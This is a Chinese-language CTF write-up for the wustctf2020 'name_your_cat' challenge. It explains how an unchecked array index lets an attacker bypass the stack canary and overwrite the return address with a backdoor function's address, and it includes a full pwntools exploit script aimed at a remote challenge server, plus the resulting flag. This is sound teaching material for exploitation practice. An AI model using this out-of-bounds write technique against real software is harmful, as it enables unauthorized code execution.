收获

  • 利用数组下标越界实现绕过 Canary 修改栈上的返回值

【wustctf2020】name_your_cat


思路

查看保护:

【wustctf2020】name_your_cat1.png

在 IDA 下分析:

【wustctf2020】name_your_cat2.png

【wustctf2020】name_your_cat3.png

这里循环了 5 次,关键在于 NameWhich() 函数

【wustctf2020】name_your_cat4.png

NameWhich() 中首先让我们输入一个数存放到 v2 地址处,由于 v2 是一个数组,数组名代表数组第一个元素的地址,因此其实是让我们输入 v2[0] 的值

然后让我们输入一个最多 7 个字符的字符串存放在 8 * v2[0] + a1 地址处,由于 a1 是作为 char 型数组 v3 的形参,因此这里是让我们输入 v3[8 * v2[0]] 的值

存在一个后门函数 shell()

【wustctf2020】name_your_cat5.png

查看栈中的布局:

【wustctf2020】name_your_cat6.png

由于存在 Canary,且没有其他的溢出点

但考虑到我们可以通过输入 v3[8 * v2[0]] 的值控制 v3[] 数组,同时程序没有对数组边界进行检查

因此我们可以使 v3[] 数组的下标越界,进而绕过 Canary 修改栈上的返回值

v3 首地址距离栈上的返回地址 0x34 + 0x4 = 0x38,当 v2[0] = 0 时即对应 v3 的首地址

因此要修改返回地址的话,v2[0] 应该等于 0x38 / 8 = 7


脚本

from pwn import *

# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='i386', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 0
elf = ELF("./wustctf2020_name_your_cat")

if content == 1:
	# 将本地的 Linux 程序启动为进程 io
    io = process("./wustctf2020_name_your_cat")
else:
	# 远程程序的 IP 和端口号
    io = remote("node5.buuoj.cn", 25944)


# 附加 gdb 调试
def debug(cmd=""):
    if content == 1:   # 只有本地才可调试,远程无法调试
        gdb.attach(io, cmd)
        pause()


def NameWhich(payload1, payload2):
    io.recvuntil(b'>')
    io.sendline(payload1)
    io.recvuntil(b'Give your name plz: ')
    io.sendline(payload2)


shell_addr = elf.symbols["shell"]
for i in range(5):
    if i != 4:
        NameWhich(b'0', b'uf4te')
    else:
        NameWhich(b'7', p32(shell_addr))

# 与远程交互
io.interactive()

结果

flag{b953f0db-02fb-41e0-8b8e-11f9a74cc362}

【wustctf2020】name_your_cat7.png